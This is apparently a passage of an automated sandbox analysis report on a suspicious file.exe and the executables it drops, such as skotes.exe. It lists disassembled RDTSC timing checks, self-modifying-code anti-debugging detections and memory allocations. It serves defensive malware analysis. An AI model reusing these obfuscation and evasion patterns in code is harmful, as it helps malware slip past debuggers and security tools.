Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170D4D second address: 5170D65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 mov bx, C7B0h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 movzx esi, di 0x00000015 push edi 0x00000016 pop eax 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512011B second address: 5120133 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0E079F164h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51800F1 second address: 5180160 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, AD9Ah 0x00000007 mov eax, ebx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], ebp 0x0000000f jmp 00007FF0E0BA4D9Dh 0x00000014 mov ebp, esp 0x00000016 pushad 0x00000017 jmp 00007FF0E0BA4D9Ch 0x0000001c jmp 00007FF0E0BA4DA2h 0x00000021 popad 0x00000022 push dword ptr [ebp+0Ch] 0x00000025 pushad 0x00000026 jmp 00007FF0E0BA4D9Eh 0x0000002b push eax 0x0000002c mov si, di 0x0000002f pop ebx 0x00000030 popad 0x00000031 push dword ptr [ebp+08h] 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FF0E0BA4DA2h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180160 second address: 518016F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F15Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518016F second address: 5180175 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180175 second address: 51801D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F15Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b call 00007FF0E079F159h 0x00000010 jmp 00007FF0E079F166h 0x00000015 push eax 0x00000016 jmp 00007FF0E079F15Bh 0x0000001b mov eax, dword ptr [esp+04h] 0x0000001f jmp 00007FF0E079F169h 0x00000024 mov eax, dword ptr [eax] 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51801D6 second address: 51801DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51801DC second address: 5180232 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F165h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FF0E079F15Ah 0x00000016 and esi, 3CF4FF48h 0x0000001c jmp 00007FF0E079F15Bh 0x00000021 popfd 0x00000022 jmp 00007FF0E079F168h 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180232 second address: 5180283 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 jmp 00007FF0E0BA4D9Dh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FF0E0BA4DA3h 0x00000018 adc cx, 3F9Eh 0x0000001d jmp 00007FF0E0BA4DA9h 0x00000022 popfd 0x00000023 movzx ecx, bx 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51802EA second address: 51802FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop esi 0x00000005 mov di, C346h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebp 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 mov bh, ABh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130531 second address: 513060A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edi 0x00000005 push ecx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b pushad 0x0000000c mov esi, 35A2D0B3h 0x00000011 pushfd 0x00000012 jmp 00007FF0E0BA4DA8h 0x00000017 sbb ecx, 10971EB8h 0x0000001d jmp 00007FF0E0BA4D9Bh 0x00000022 popfd 0x00000023 popad 0x00000024 push eax 0x00000025 jmp 00007FF0E0BA4DA9h 0x0000002a xchg eax, ebp 0x0000002b pushad 0x0000002c mov bx, si 0x0000002f pushfd 0x00000030 jmp 00007FF0E0BA4DA8h 0x00000035 add ecx, 75664378h 0x0000003b jmp 00007FF0E0BA4D9Bh 0x00000040 popfd 0x00000041 popad 0x00000042 mov ebp, esp 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 pushfd 0x00000048 jmp 00007FF0E0BA4D9Bh 0x0000004d adc ax, CB3Eh 0x00000052 jmp 00007FF0E0BA4DA9h 0x00000057 popfd 0x00000058 pushfd 0x00000059 jmp 00007FF0E0BA4DA0h 0x0000005e xor al, 00000038h 0x00000061 jmp 00007FF0E0BA4D9Bh 0x00000066 popfd 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513060A second address: 5130675 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF0E079F15Fh 0x00000008 jmp 00007FF0E079F168h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push FFFFFFFEh 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 call 00007FF0E079F15Dh 0x0000001a pop ecx 0x0000001b pushfd 0x0000001c jmp 00007FF0E079F161h 0x00000021 sub esi, 05763AE6h 0x00000027 jmp 00007FF0E079F161h 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130675 second address: 51306EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, dx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 67DAF37Ch 0x0000000e pushad 0x0000000f push esi 0x00000010 call 00007FF0E0BA4DA7h 0x00000015 pop ecx 0x00000016 pop ebx 0x00000017 mov si, 8B85h 0x0000001b popad 0x0000001c add dword ptr [esp], 0F1ECC9Ch 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007FF0E0BA4D9Eh 0x0000002a and ah, 00000018h 0x0000002d jmp 00007FF0E0BA4D9Bh 0x00000032 popfd 0x00000033 popad 0x00000034 push 44B0DB5Ch 0x00000039 jmp 00007FF0E0BA4DA2h 0x0000003e xor dword ptr [esp], 3240755Ch 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51306EE second address: 51306F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51306F2 second address: 51306F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51306F6 second address: 51306FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51306FC second address: 5130720 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4DA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000000h] 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130720 second address: 5130724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130724 second address: 5130728 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130728 second address: 513072E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513072E second address: 513073D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0E0BA4D9Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513073D second address: 5130741 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130741 second address: 5130778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 jmp 00007FF0E0BA4DA2h 0x0000000e mov dword ptr [esp], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FF0E0BA4DA7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130778 second address: 51307AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F169h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 1Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edx 0x00000010 pop ecx 0x00000011 jmp 00007FF0E079F15Fh 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51307AD second address: 51307B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51307B3 second address: 51307B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51307B7 second address: 51307C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51307C6 second address: 51307CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51307CC second address: 51307E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0E0BA4DA7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51307E7 second address: 51307EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51307EB second address: 5130843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebx 0x0000000b jmp 00007FF0E0BA4DA5h 0x00000010 xchg eax, esi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FF0E0BA4DA3h 0x0000001a and cx, DBDEh 0x0000001f jmp 00007FF0E0BA4DA9h 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130843 second address: 5130849 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130849 second address: 513084D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513084D second address: 51308BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F166h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FF0E079F15Bh 0x00000011 xchg eax, esi 0x00000012 pushad 0x00000013 call 00007FF0E079F164h 0x00000018 pushfd 0x00000019 jmp 00007FF0E079F162h 0x0000001e jmp 00007FF0E079F165h 0x00000023 popfd 0x00000024 pop esi 0x00000025 mov dh, D8h 0x00000027 popad 0x00000028 xchg eax, edi 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51308BF second address: 51308D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4DA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51308D4 second address: 51308DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51308DA second address: 5130994 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4DA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FF0E0BA4DA9h 0x00000011 xchg eax, edi 0x00000012 jmp 00007FF0E0BA4D9Eh 0x00000017 mov eax, dword ptr [76FBB370h] 0x0000001c jmp 00007FF0E0BA4DA0h 0x00000021 xor dword ptr [ebp-08h], eax 0x00000024 jmp 00007FF0E0BA4DA0h 0x00000029 xor eax, ebp 0x0000002b pushad 0x0000002c mov cx, dx 0x0000002f pushfd 0x00000030 jmp 00007FF0E0BA4DA3h 0x00000035 or ax, 238Eh 0x0000003a jmp 00007FF0E0BA4DA9h 0x0000003f popfd 0x00000040 popad 0x00000041 nop 0x00000042 jmp 00007FF0E0BA4D9Eh 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130994 second address: 5130998 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130998 second address: 51309B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4DA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51309B4 second address: 51309BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51309BA second address: 5130A2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4D9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007FF0E0BA4D9Eh 0x00000011 lea eax, dword ptr [ebp-10h] 0x00000014 pushad 0x00000015 mov edi, esi 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a mov bl, cl 0x0000001c popad 0x0000001d popad 0x0000001e mov dword ptr fs:[00000000h], eax 0x00000024 jmp 00007FF0E0BA4DA1h 0x00000029 mov esi, dword ptr [ebp+08h] 0x0000002c jmp 00007FF0E0BA4D9Eh 0x00000031 mov eax, dword ptr [esi+10h] 0x00000034 jmp 00007FF0E0BA4DA0h 0x00000039 test eax, eax 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130A2C second address: 5130A30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130A30 second address: 5130A36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130A36 second address: 5130ADF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F164h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FF15252E42Ch 0x0000000f pushad 0x00000010 mov eax, 75DF7B3Dh 0x00000015 mov si, 8E39h 0x00000019 popad 0x0000001a sub eax, eax 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007FF0E079F15Bh 0x00000023 sub cl, 0000002Eh 0x00000026 jmp 00007FF0E079F169h 0x0000002b popfd 0x0000002c pushfd 0x0000002d jmp 00007FF0E079F160h 0x00000032 sbb esi, 6240C6A8h 0x00000038 jmp 00007FF0E079F15Bh 0x0000003d popfd 0x0000003e popad 0x0000003f mov dword ptr [ebp-20h], eax 0x00000042 pushad 0x00000043 pushad 0x00000044 pushfd 0x00000045 jmp 00007FF0E079F162h 0x0000004a jmp 00007FF0E079F165h 0x0000004f popfd 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130ADF second address: 5130B0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FF0E0BA4D9Eh 0x0000000b add esi, 7CF15B68h 0x00000011 jmp 00007FF0E0BA4D9Bh 0x00000016 popfd 0x00000017 popad 0x00000018 mov ebx, dword ptr [esi] 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130B0E second address: 5130B29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F167h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130039 second address: 51300A5 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF0E0BA4DA0h 0x00000008 sbb ax, C2C8h 0x0000000d jmp 00007FF0E0BA4D9Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FF0E0BA4DA4h 0x0000001e adc ah, 00000028h 0x00000021 jmp 00007FF0E0BA4D9Bh 0x00000026 popfd 0x00000027 movzx ecx, dx 0x0000002a popad 0x0000002b push eax 0x0000002c jmp 00007FF0E0BA4DA2h 0x00000031 xchg eax, ebp 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 mov si, D0A3h 0x00000039 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 1EF1F5 second address: 1EF1FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 1EF1FB second address: 1EF1FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 35BEDB second address: 35BEEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007FF0E079F156h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 35BEEA second address: 35BEFC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 pop eax 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 35BEFC second address: 35BF01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 35C0BB second address: 35C0D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4DA6h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 35C0D7 second address: 35C108 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 jmp 00007FF0E079F15Dh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007FF0E079F168h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 35C108 second address: 35C137 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4D9Fh 0x00000007 pushad 0x00000008 jmp 00007FF0E0BA4DA5h 0x0000000d ja 00007FF0E0BA4D96h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 35D9BC second address: 35D9C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 35DA5E second address: 35DAF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FF0E0BA4DA7h 0x0000000a popad 0x0000000b xor dword ptr [esp], 6EB1F63Eh 0x00000012 pushad 0x00000013 xor esi, dword ptr [ebp+122D37FFh] 0x00000019 mov bx, A501h 0x0000001d popad 0x0000001e push 00000003h 0x00000020 cld 0x00000021 movsx ecx, ax 0x00000024 push 00000000h 0x00000026 jmp 00007FF0E0BA4D9Fh 0x0000002b push 00000003h 0x0000002d mov edi, eax 0x0000002f push F8CEFAB4h 0x00000034 jmp 00007FF0E0BA4DA0h 0x00000039 xor dword ptr [esp], 38CEFAB4h 0x00000040 jns 00007FF0E0BA4D99h 0x00000046 movzx ecx, bx 0x00000049 lea ebx, dword ptr [ebp+124428E3h] 0x0000004f mov di, bx 0x00000052 xchg eax, ebx 0x00000053 pushad 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007FF0E0BA4DA9h 0x0000005b rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 35DAF4 second address: 35DB0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F15Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F0E98C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F0EAAF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F0E986 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1EE98C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1EEAAF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1EE986 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Special instruction interceptor: First address: 102DE39 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Special instruction interceptor: First address: 10BF426 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Special instruction interceptor: First address: EEDC35 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Special instruction interceptor: First address: 10986AC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Special instruction interceptor: First address: EEB2F6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Special instruction interceptor: First address: 1124B61 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Special instruction interceptor: First address: 789386 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Special instruction interceptor: First address: 956E71 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Special instruction interceptor: First address: 9427A8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Special instruction interceptor: First address: 9C249B instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Memory allocated: BE0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Memory allocated: 26A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Memory allocated: 46A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Memory allocated: 4D40000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Memory allocated: 5D40000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Memory allocated: 5E70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Memory allocated: 6E70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Memory allocated: B030000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Memory allocated: C030000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Memory allocated: C4C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Memory allocated: D4C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Memory allocated: E6C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Memory allocated: F6C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Memory allocated: 106C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Memory allocated: 1840000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Memory allocated: 3060000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Memory allocated: 5060000 memory reserve \| memory write watch

